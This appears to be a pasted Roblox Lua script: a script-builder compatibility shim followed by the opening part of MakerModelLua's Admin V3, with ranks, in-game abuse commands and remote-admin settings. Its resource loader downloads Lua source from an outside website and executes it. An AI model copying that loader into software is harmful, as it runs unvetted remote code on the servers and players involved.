· 4 years ago · Dec 25, 2020, 12:52 PM
1if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2local Player,game,owner = owner,game
3local RealPlayer = Player
4do
5 print("FE Compatibility code by Data")
6 local rp = RealPlayer
7 script.Parent = rp.Character
8
9 --RemoteEvent for communicating
10 local Event = Instance.new("RemoteEvent")
11 Event.Name = "UserInput_Event"
12
13 --Fake event to make stuff like Mouse.KeyDown work
14 local function fakeEvent()
15 local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
16 t.connect = t.Connect
17 return t
18 end
19
20 --Creating fake input objects with fake variables
21 local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
22 local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
23 local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
24 CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
25 end}
26 --Merged 2 functions into one by checking amount of arguments
27 CAS.UnbindAction = CAS.BindAction
28
29 --This function will trigger the events that have been :Connect()'ed
30 local function te(self,ev,...)
31 local t = m[ev]
32 if t and t._fakeEvent then
33 for _,f in pairs(t.Functions) do
34 f(...)
35 end
36 end
37 end
38 m.TrigEvent = te
39 UIS.TrigEvent = te
40
41 Event.OnServerEvent:Connect(function(plr,io)
42 if plr~=rp then return end
43 m.Target = io.Target
44 m.Hit = io.Hit
45 if not io.isMouse then
46 local b = io.UserInputState == Enum.UserInputState.Begin
47 if io.UserInputType == Enum.UserInputType.MouseButton1 then
48 return m:TrigEvent(b and "Button1Down" or "Button1Up")
49 end
50 for _,t in pairs(CAS.Actions) do
51 for _,k in pairs(t.Keys) do
52 if k==io.KeyCode then
53 t.Function(t.Name,io.UserInputState,io)
54 end
55 end
56 end
57 m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
58 UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
59 end
60 end)
61 Event.Parent = NLS([==[
62 local Player = game:GetService("Players").LocalPlayer
63 local Event = script:WaitForChild("UserInput_Event")
64
65 local Mouse = Player:GetMouse()
66 local UIS = game:GetService("UserInputService")
67 local input = function(io,a)
68 if a then return end
69 --Since InputObject is a client-side instance, we create and pass table instead
70 Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
71 end
72 UIS.InputBegan:Connect(input)
73 UIS.InputEnded:Connect(input)
74
75 local h,t
76 --Give the server mouse data 30 times every second, but only if the values changed
77 --If player is not moving their mouse, client won't fire events
78 while wait(1/30) do
79 if h~=Mouse.Hit or t~=Mouse.Target then
80 h,t=Mouse.Hit,Mouse.Target
81 Event:FireServer({isMouse=true,Target=t,Hit=h})
82 end
83 end]==],Player.Character)
84
85 ----Sandboxed game object that allows the usage of client-side methods and services
86 --Real game object
87 local _rg = game
88
89 --Metatable for fake service
90 local fsmt = {
91 __index = function(self,k)
92 local s = rawget(self,"_RealService")
93 if s then return s[k] end
94 end,
95 __newindex = function(self,k,v)
96 local s = rawget(self,"_RealService")
97 if s then s[k]=v end
98 end,
99 __call = function(self,...)
100 local s = rawget(self,"_RealService")
101 if s then return s(...) end
102 end
103 }
104 local function FakeService(t,RealService)
105 t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
106 return setmetatable(t,fsmt)
107 end
108
109 --Fake game object
110 local g = {
111 GetService = function(self,s)
112 return self[s]
113 end,
114 Players = FakeService({
115 LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
116 },"Players"),
117 UserInputService = FakeService(UIS,"UserInputService"),
118 ContextActionService = FakeService(CAS,"ContextActionService"),
119 }
120 rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
121 g.service = g.GetService
122
123 g.RunService = FakeService({
124 RenderStepped = _rg:GetService("RunService").Heartbeat,
125 BindToRenderStep = function(self,name,_,fun)
126 self._btrs[name] = self.Heartbeat:Connect(fun)
127 end,
128 UnbindFromRenderStep = function(self,name)
129 self._btrs[name]:Disconnect()
130 end,
131 },"RunService")
132
133 setmetatable(g,{
134 __index=function(self,s)
135 return _rg:GetService(s) or typeof(_rg[s])=="function"
136 and function(_,...)return _rg[s](_rg,...)end or _rg[s]
137 end,
138 __newindex = fsmt.__newindex,
139 __call = fsmt.__call
140 })
141 --Changing owner to fake player object to support owner:GetMouse()
142 game,owner = g,g.Players.LocalPlayer
143end
144--[[
145Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
146If you want to know what commands do just go into your game and say ;cmds for a list of
147commands, what they do, examples, rank needed, and more!
148Or, go to http://www.classy-studios.com/V3/Commands.php
149If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
150
151
152TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
153
154--->> DO NOT EDIT THESE SETTINGS <<---
155Well you can but it's a waste of your time. The settings are located in workspace
156in a folder called "MakerModelLua's Settings". You can also use this plugin:
157
158http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
159
160USE REMOTE ADMIN:
161http://www.classy-studios.com/Login/
162Mobile: http://appsto.re/us/hEn7fb.i
163
164
165
166...also... this is open source! No stupid shady module scripts, which means it works in studio!
167
168]]
169
170
171
172local c = game.Players.LocalPlayer.UserId
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
194
195
196local Settings = {
197 Ranks = {
198 ["Owner"] = {c};
199 ["Admin"] = {};
200 ["Member"] = {};
201 ["Banned"] = {};
202 ["Crashed"] = {};
203 ["Muted"] = {};
204 };
205
206 Prefix = ";";
207 Bet = " ";
208 MinimumAge = 0;
209 ServerLocked = false;
210 ColorScheme = "White";
211 TransparencyScheme = 50;
212 Fun = true;
213 EnableAdminMenu = true;
214 EnableTaskBar = true;
215 FreeAdmin = false;
216 Font = "Arial";
217
218 DisableAbuse = false;
219 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
220 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
221
222 LinkedAccount = "";
223 DataKey = "";
224
225 ExecuteNotificationSound = 0; --177578949
226 EnableSounds = true;
227
228 VIPMemberID = 0;
229 VIPAdminID = 0;
230
231 GroupID = 0;
232 GroupBanRank = 0;
233 GroupMemberRank = 0;
234 GroupAdminRank = 0;
235 GroupOwnerRank = 0;
236 GroupRankBan = 0;
237 BannedGroupIDs = {};
238
239 IRCServer = "";
240 IRCChannel = "";
241 IRCCommandExecuters = {};
242
243 TrelloToken = ""
244}
245
246local Colors = {
247 ["WHITE"] = Color3.new(1,1,1);
248 ["BLACK"] = Color3.new(0,0,0);
249 ["GRAY"] = Color3.new(0.5,0.5,0.5);
250 ["RED"] = Color3.new(1,0,0);
251 ["GREEN"] = Color3.new(0,1,0);
252 ["BLUE"] = Color3.new(0,0,1);
253 ["YELLOW"] = Color3.new(1,1,0);
254 ["PINK"] = Color3.new(1,0,1);
255 ["MAGENTA"] = Color3.new(1,0,1);
256 ["CYAN"] = BrickColor.new("Cyan").Color;
257 ["TEAL"] = BrickColor.new("Teal").Color;
258 ["BROWN"] = Color3.new(0.55,0.25,0.075);
259 ["PURPLE"] = Color3.new(0.5,0,0.5);
260 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
261}
262
263local Server = {
264 Workspace = game:GetService("Workspace");
265 Players = game:GetService("Players");
266 Lighting = game:GetService("Lighting");
267 MPS = game:GetService("MarketplaceService");
268 TS = game:GetService("TeleportService");
269 HS = game:GetService("HttpService");
270 RS = game:GetService("RunService");
271 PS = game:GetService("PointsService");
272 TestS = game:GetService("TestService");
273
274 Teams = game:GetService("Teams");
275 Data = game:GetService("DataStoreService");
276 GDS = game:GetService("DataStoreService");
277 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
278 Storage = game:GetService("ServerStorage");
279 RS = game:GetService("ReplicatedStorage");
280 AS = game:GetService("AssetService");
281}
282
283local Icons = {
284 ["Message"] = 7724351;
285 ["Error"] = 94011556;
286 ["Information"] = 144175130;
287 ["Check"] = 132769976;
288 ["Search"] = 61994930;
289 ["Time"] = 136391033;
290 ["Notice"] = 156507320;
291 ["Sound"] = 164682936;
292 ["Log"] = 70650545;
293 ["Question"] = 41363872;
294 ["Output"] = 11481605;
295 ["Admin"] = 302470270;
296 ["Lock"] = 11341626;
297 ["Settings"] = 131064748;
298 ["Map"] = 257119661;
299 ["Plugin"] = 257097414;
300}
301
302local IRC = {
303 Codes = {
304 ["001"] = "RPL_WELCOME",
305 ["002"] = "RPL_YOURHOST",
306 ["003"] = "RPL_CREATED",
307 ["004"] = "RPL_MYINFO",
308 ["005"] = "RPL_ISUPPORT",
309 ["250"] = "RPL_STATSCONN",
310 ["251"] = "RPL_LUSERCLIENT",
311 ["252"] = "RPL_LUSEROP",
312 ["254"] = "RPL_LUSERCHANNELS",
313 ["255"] = "RPL_LUSERME",
314 ["265"] = "RPL_LOCALUSERS",
315 ["266"] = "RPL_GLOBALUSERS",
316 ["352"] = "RPL_WHOREPLY",
317 ["371"] = "RPL_INFO",
318 ["372"] = "RPL_MOTD",
319 ["374"] = "RPL_ENDINFO",
320 ["375"] = "RPL_MOTDSTART",
321 ["376"] = "RPL_ENDOFMOTD",
322 ["422"] = "ERR_NOMOTD",
323 },
324 Ignore = {
325 ["004"] = true,
326 ["005"] = true,
327 };
328 Users = {};
329 Logs = {};
330 Chats = {};
331 Forms = {};
332 MessageAdded = Instance.new("BindableEvent");
333
334 Servers = {
335 ["esper.net"] = {
336 BaseUrl = "http://webchat.esper.net/";
337 DynamicUrl = "";
338 };
339 ["quakenet.org"] = {
340 BaseUrl = "http://webchat.quakenet.org/";
341 DynamicUrl = "dynamic/leibniz",
342 };
343 ["swiftirc.net"] = {
344 BaseUrl = "http://qwebirc.swiftirc.net/";
345 DynamicUrl = "",
346 };
347 };
348 NickName = "rbxMMLV3_"..math.random(1,100000);
349
350 SessionCounter = 0;
351 Connected = false;
352 Stop = false;
353 SessionID = "";
354}
355
356local RankHUD = {
357 ["Muted"] = 202180094;
358 ["Non-Admin"] = 202180121;
359 ["Member"] = 202180052;
360 ["Admin"] = 202180015;
361 ["Owner"] = 202179988;
362}
363
364local TextConverter = {
365 LetterSounds = {
366 ["a"] = {223757826, nil}; -- 203343899
367 ["b"] = {223533700, 0.2}; -- 203344029
368 ["c"] = {223533711, nil}; -- 203343994
369 ["d"] = {223757910, nil}; -- 203398237
370 ["e"] = {223758026, nil}; -- 203398295
371 ["f"] = {223777655, nil}; -- 203398347
372 ["g"] = {223777738, nil}; -- 203398372
373 ["h"] = {223777757, nil}; -- 203398397
374 ["i"] = {223777807, nil}; -- 203398422
375 ["j"] = {223782888, nil}; -- 203398450
376 ["k"] = {223533711, nil}; -- 203343994
377 ["l"] = {223782961, 0.4}; -- 203398541
378 ["m"] = {223782992, nil}; -- 203398578
379 ["n"] = {223783063, nil}; -- 203398599
380 ["o"] = {223783184, nil}; -- 203398611
381 ["p"] = {223783235, nil}; -- 203398727
382 ["q"] = {223783260, nil}; -- 203398755
383 ["r"] = {223783305, 0.2}; -- 203398792
384 ["s"] = {223783377, nil}; -- 203398806
385 ["t"] = {223783446, nil}; -- 203398850
386 ["u"] = {223783512, nil}; -- 203398872
387 ["v"] = {223783654, nil}; -- 203398965
388 ["w"] = {223783697, nil}; -- 203398984
389 ["x"] = {223783796, nil}; -- 203399008
390 ["y"] = {223783853, nil}; -- 203399043
391 ["z"] = {223783893, nil}; -- 203399096
392
393 ["ch"] = {223784367, 0.3}; -- 203592149
394 ["th"] = {223788235, 0.3}; -- 203399215
395 ["sh"] = {223784505, 0.2}; -- 203399566
396 ["wh"] = {223784555, 0.3}; -- 203622828
397 ["oo"] = {223784456, 0.3}; -- 203399743
398 ["ing"] = {223784393, 0.3}; -- 203402836
399 };
400
401 LongVowels = {
402 ["a"] = {223533687, nil}; -- 203343932
403 ["e"] = {223777620, nil}; -- 203398314
404 ["i"] = {223777855, nil}; -- 203398440
405 ["o"] = {223783212, nil}; -- 203398619
406 ["u"] = {223783572, nil}; -- 203398897
407 };
408
409 Pronounce = {
410 ["0"] = "zero";
411 ["1"] = "wun";
412 ["2"] = "too";
413 ["3"] = "three";
414 ["4"] = "four";
415 ["5"] = "five";
416 ["6"] = "six";
417 ["7"] = "seven";
418 ["8"] = "eyt";
419 ["9"] = "nine";
420 ["one"] = "wun";
421 ["two"] = "too";
422 ["eight"] = "eyt";
423 ["eigh"] = "ey";
424 ["gh"] = "h";
425 ["kn"] = "n";
426 ["come"] = "cu".."m";
427 ["bye"] = "bi";
428 ["#"] = "hashtag";
429 ["@"] = "at";
430 ["&"] = "and";
431 ["*"] = "astrict";
432 ["mn"] = "m";
433 ["kn"] = "n";
434 ["ies"] = "ees";
435 };
436
437 NonEnglishRules = {
438 ["to"] = "too";
439 ["you"] = "yoo";
440 ["we"] = "wee";
441 ["are"] = "erh";
442 ["your"] = "yoor";
443 ["you're"] = "yoor";
444 ["youre"] = "yoor";
445 ["pizza"] = "peetzoh";
446 ["ok"] = "okay";
447 ["have"] = "hav";
448 ["my"] = "mi";
449 ["me"] = "mee";
450 ["u"] = "yoo";
451 ["r"] = "erh";
452 ["move"] = "moov";
453 ["dove"] = "duv";
454 ["debris"] = "debree";
455 ["do"] = "doo";
456 }
457}
458
459local HTMLDecode = {
460 ["35"] = "#";
461 ["36"] = "$";
462 ["37"] = "%%";
463 ["38"] = "*";
464 ["39"] = "'";
465 ["58"] = ":";
466 ["59"] = ";";
467 ["60"] = "<";
468 ["62"] = ">";
469}
470
471
472local Assets = {
473 Packages = {
474 [27112438] = {27112025,27112039,27112052,27112056,27112068};
475 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
476 [77518833] = {77518564,77518616,77518654,77518696,77518737};
477 [32336368] = {32336059,32336117,32336182,32336243,32336306};
478 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
479 [54116460] = {54116290,54116338,54116373,54116394,54116432};
480 [39977366] = {39976703,39976829,39976927,39977192,39977295};
481 [32357766] = {32357663,32357631,32357619,32357584,32357558};
482 [27123973] = {27121265,27121306,27121353,27121393,27121432};
483 [55717536] = {55717271,55717330,55717388,55717434,55717491};
484 [28279963] = {28279160,28279217,28279859,28279894,28279938};
485 [27403592] = {27402580,27402546,27402641,27402714,27402742};
486 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
487 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
488 [48474394] = {48474356,48474294};
489 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
490 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
491 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
492 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
493 [33378577] = {33378366,33378438,33378484,33378522,33378540};
494 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
495 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
496 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
497 [41851073] = {41850825,41850868,41850915,41851009,41850959}
498 };
499 AssetTypes = {
500 [0] = "Product";
501 [1] = "Image";
502 [2] = "T-Shirt";
503 [3] = "Audio";
504 [4] = "Mesh";
505 [5] = "Lua";
506 [6] = "HTML";
507 [7] = "Text";
508 [8] = "Hat";
509 [9] = "Place";
510 [10] = "Model";
511 [11] = "Shirt";
512 [12] = "Pants";
513 [13] = "Decal";
514 [16] = "Avatar";
515 [17] = "Head";
516 [18] = "Face";
517 [19] = "Gear";
518 [21] = "Badge";
519 [22] = "Group Emblem";
520 [24] = "Animation";
521 [25] = "Arms";
522 [26] = "Legs";
523 [27] = "Torso";
524 [28] = "Right Arm";
525 [29] = "Left Arm";
526 [30] = "Left Leg";
527 [31] = "Right Leg";
528 [32] = "Package";
529 [33] = "YouTube Video";
530 [34] = "Game Pass";
531 [38] = "Plugin";
532 [39] = "SolidModel";
533 [40] = "MeshPart";
534 [41] = "Hair Accessory";
535 [42] = "Face Accessory";
536 [43] = "Neck Accessory";
537 [44] = "Shoulder Accessory";
538 [45] = "Front Accessory";
539 [46] = "Back Accessory";
540 };
541 AccessoryTypes = {
542 ["all"] = 19;
543 ["hats"] = 9;
544 ["hair"] = 20;
545 ["face"] = 21;
546 ["neck"] = 22;
547 ["shoulder"] = 23;
548 ["front"] = 24;
549 ["back"] = 25;
550 ["waist"] = 26;
551 };
552}
553
554local CharacterCache = {
555 {"MakerModelLua", 38837082};
556 {"LuaModelMaker", 20920633};
557 {"builderman", 156};
558 {"Shedletsky", 261};
559 {"Telamon", 13645};
560 {"ROBLOX", 1};
561}
562
563local FaceCovert = {
564 Left = "xpos";
565 Right = "xneg";
566 Front = "zpos";
567 Back = "zneg";
568 Top = "ypos";
569 Bottom = "yneg";
570}
571
572local Meshes = {
573 ["crown"] = {1, 1078075};
574 ["king"] = {1, 11419761};
575 ["teapot"] = {0.03, 1029523};
576 ["apple"] = {2.5, 16190555};
577 ["potato"] = {1, 25268275};
578 ["panda"] = {0.5, 20709221};
579 ["dominus"] = {0.5, 21057410};
580 ["fedora"] = {0.75, 13640868};
581 ["noob"] = {1, 20929341};
582 ["knife"] = {0.3, 121944778};
583 ["book"] = {0.3, 1136139};
584}
585
586local NotifySounds = {
587 ["Hover"] = 223134269;
588 ["Select"] = 292141227;
589}
590
591local Trello = {
592 TrelloInfoCard = "x1rUtwEj";
593 MainBoard = {};
594 RequiredLists = {};
595 RankChecklistCache = {};
596 ToggleChecklist = nil;
597 CommandID = nil;
598 LastCommandDT = 0;
599 AdminBoardID = "577ea1b21cb7975666524f26";
600 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
601 RemoteDataCard = "dLtMo1en"
602}
603
604local ScriptBuilders = {
605 [260897989] = "MML's";
606 [21053279] = "Anti's pub";
607 [21053219] = "Anti's pri";
608 [20279777] = "Void's 1";
609 [437965235] = "Void's 2";
610 [227015991] = "Vox's";
611 [210101277] = "Master's";
612 [531937877] = "Bleu pigs";
613 [519251450] = "Game's";
614}
615
616-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
617-- Why else would I NOT have put it in a module?!?!?
618
619local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
620
621local SoundList,GlobalSoundList = {},{}
622local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
623local TempChatLogs = {}
624local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
625local NoSpeak = false
626
627local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
628local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
629
630local ChatLogs,CommandLogs = {},{}
631local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
632local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
633local Dispose,Jails,PermCommandBars = {},{},{}
634local Waypoints = {["Center"] = Vector3.new(0,0,0)}
635local Objects = {}
636local Sound = nil
637local ModLighting = false
638local DataReady = true
639local RemoteAbuseGear = {}
640
641local GameOwner = "[ Client ]"
642local PlaceName = "Unknown"
643local PlaceInfo = {}
644local IsStudio = false
645local IsSB = false
646local Date = nil
647local Fonts = {}
648local PendingRequests = {}
649local F3X = script:FindFirstChild("F3X Tools")
650local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
651local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
652local KeyBinds = {}
653local Crowns = {}
654local LastKeys = {}
655local Cars = {}
656local StringReplacements = {}
657local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
658local NoBet = {"/", "-", "(", ")", ""}
659local ShouldFilter = true
660
661local CrownStorage = script:FindFirstChild("CrownStorage")
662if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
663
664-- import old settings just in case --
665
666
667wait(0.1)
668
669local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
670-- tries to defualt to server storage, just in case an exploiter makes their own settings.
671
672if SettingsValues then
673 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
674 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
675 for _,Value in pairs(SettingsValues:GetChildren()) do
676 if Settings[Value.Name] ~= nil then
677 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
678 for _,NewValue in pairs(Value:GetChildren()) do
679 if ypcall(function() return NewValue.Value end) then
680 if Settings[Value.Name][NewValue.Name] then
681 local Val = NewValue.Value
682 if type(Settings[Value.Name][NewValue.Name]) == "table" then
683 Val = {}
684 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
685 table.insert(Val, Word)
686 end
687 end
688 Settings[Value.Name][NewValue.Name] = Val
689 end
690 end
691 end
692 else
693 if Settings[Value.Name] ~= nil then
694 local Val = Value.Value
695 if type(Settings[Value.Name]) == "table" then
696 Val = {}
697 for Word in string.gmatch(Value.Value, "%w+") do
698 table.insert(Val, Word)
699 end
700 end
701 Settings[Value.Name] = Val
702 end
703 end
704 end
705 end
706 end
707end
708
709if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
710 Settings.LinkedAccount = ""
711elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
712 Settings.LinkedAccount = "Admin"
713end
714
715local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
716local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
717
718wait(1)
719
720local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
721
722if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
723
724if not IsStudio then
725 Server.NS = game:GetService("NetworkServer")
726 script.Name = "Maker".."Mo".."delLua's Admin"
727end
728
729if game.PlaceId > 0 then
730 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
731 PlaceName = PlaceInfo.Name
732end
733
734local function GetGameOwner()
735 if PlaceInfo.Creator.CreatorType == "Group" then
736 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
737 print("MML's Admin: Found group owner for game: "..GameOwner)
738 elseif PlaceInfo.Creator.CreatorType == "User" then
739 GameOwner = PlaceInfo.Creator.Name
740 print("MML's Admin: Found game owner: "..GameOwner)
741 else
742 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
743 end
744end
745
746if string.byte(string.sub(PlaceName,1,1)) == 226 then
747 PlaceName = string.sub(PlaceName,4,#PlaceName)
748end
749for i = 1,5 do
750 if GameOwner == "[ Client ]" then
751 print("MML's Admin: Attempting to establish owner's name #"..i)
752 GetGameOwner()
753 wait(1)
754 end
755end
756
757if ScriptBuilders[PlaceID] or NLS then
758 IsSB = true
759end
760
761if IsSB then
762 ShouldFilter = false
763 Settings.IRCServer = "swiftirc.net";
764 Settings.IRCChannel = "#PkamaraSB";
765 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
766 if Settings.TrelloToken == "" then
767 Settings.LinkedAccount = "ScriptBuilder"
768 end
769 if Settings.DataKey == "" then coroutine.wrap(function()
770 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
771 local Key = Server.Storage:FindFirstChild("MML DataKey")
772 print("Found key: "..Key.Value)
773 Settings.DataKey = Key.Value
774 Key:Destroy()
775 end)() end
776end
777local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
778table.insert(Settings.Ranks["Owner"], GameOwner)
779
780for _,Font in pairs(Enum.Font:GetEnumItems()) do
781 Fonts[Font.Name] = Font
782end
783
784
785
786
787local function MakeFunction(Type, Name)
788 local Func = script:FindFirstChild(Name)
789 if Func then Func:Destroy() end
790 Func = Instance.new(Type, script) Func.Name = Name
791
792 getfenv()[Name] = Func
793 return Func
794end
795
796MakeFunction("BindableFunction", "ExecuteCommand")
797MakeFunction("RemoteFunction", "ExecuteCommandClient")
798MakeFunction("BindableFunction", "ExecuteCode")
799
800MakeFunction("RemoteFunction", "IsAdmin")
801MakeFunction("RemoteFunction", "AddExploit")
802MakeFunction("BindableFunction", "AddExploitServer")
803MakeFunction("RemoteFunction", "KickClient")
804MakeFunction("RemoteFunction", "ConvertTextToSound")
805
806MakeFunction("RemoteFunction", "KeyPressed")
807MakeFunction("RemoteFunction", "InputKey")
808
809MakeFunction("RemoteFunction", "RankPlayerLocal")
810MakeFunction("BindableFunction", "RankPlayerServer")
811
812--[[
813if NLS then
814 local Value = script:FindFirstChild("Override")
815 LogClient.Parent = game
816 if not Value then
817 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
818 local CloneScript = script:Clone()
819 CloneScript.Disabled = true
820 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
821 CloneScript.Disabled = false
822 CloneScript.Parent = nil
823
824 script:Destroy() script.Disabled = true
825 end
826end
827]]
828
829if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
830
831IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
832
833-- Core functions --
834
835function CORE:FixSettings()
836 for _,Bet in pairs(NoBet) do
837 if Settings.Bet == Bet then
838 Settings.Bet = " "
839 break
840 end
841 end
842 CORE:ChangeBet(Settings.Bet)
843
844 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
845 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
846
847 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
848 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
849 Settings.TransparencyScheme = Settings.TransparencyScheme/100
850
851 if not Fonts[Settings.Font] then
852 Settings.Font = "Arial"
853 end
854end
855
856function CORE:NilPlayer(Player)
857 if Player == nil or type(Player) == "table" then return true else return false end
858end
859
860function CORE:ExecuteResource(ResourceName, Parent, Data)
861 local ReturnScript = nil
862 local Executed = true
863 if script:FindFirstChild("Resources") then
864 local RawResource = script.Resources:FindFirstChild(ResourceName)
865 if RawResource then
866 local Resource = RawResource:Clone()
867 Resource.Disabled = true
868 Resource.Parent = Parent
869 if Data then
870 for Key,Value in pairs(Data) do
871 if Resource[Key] then
872 Resource[Key].Value = Value
873 end
874 end
875 end
876 wait()
877 Resource.Disabled = false
878 ReturnScript = Resource
879 else
880 Executed = false
881 end
882 else
883 Executed = false
884 end
885 if Executed == false then
886 if not Data then Data = {} end
887 local Source = ScriptCache[ResourceName]
888
889 if not Source then
890 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
891 if Source then
892 ScriptCache[ResourceName] = Source
893 end
894 end
895
896 if Data and Source then
897 for Key,Value in pairs(Data) do
898 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
899 end
900 end
901
902 if Source then
903 if NLS then
904 ReturnScript = NLS(Source, Parent)
905 elseif createLocalScriptWithSource then
906 ReturnScript = createLocalScriptWithSource(Source)
907 ReturnScript.Parent = Parent
908 end
909 end
910 end
911 return ReturnScript
912end
913
914function CORE:CreateRemotePropertyReader(Obj, Override)
915 if Server.Workspace.FilteringEnabled == true or Override then
916 local Reader = Instance.new("RemoteFunction", Obj)
917 Reader.Name = "RemotePropertyReader"
918 CORE:ExecuteResource("RemotePropertyReader", Reader)
919 return Reader
920 else
921 return Obj
922 end
923end
924
925function CORE:ReadProperty(Reader, Player, Property)
926 if Reader:IsA("RemoteFunction") then
927 return Reader:InvokeClient(Player, Property)
928 else
929 return Reader[Property]
930 end
931end
932
933function CORE:WriteProperty(Reader, Player, Property, Value)
934 if Reader:IsA("RemoteFunction") then
935 return Reader:InvokeClient(Player, Property, Value)
936 else
937 return Reader[Property]
938 end
939end
940
941
942function CORE:CreateRemoteEvent(Obj, EventName)
943 local Event = Instance.new("RemoteEvent", Obj)
944 Event.Name = "RemoteEvent_"..EventName
945 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
946 return Event
947end
948
949function CORE:HandleEvent(Obj, EventName, Func, NewThread)
950 local function Handle()
951 if Server.Workspace.FilteringEnabled == true then
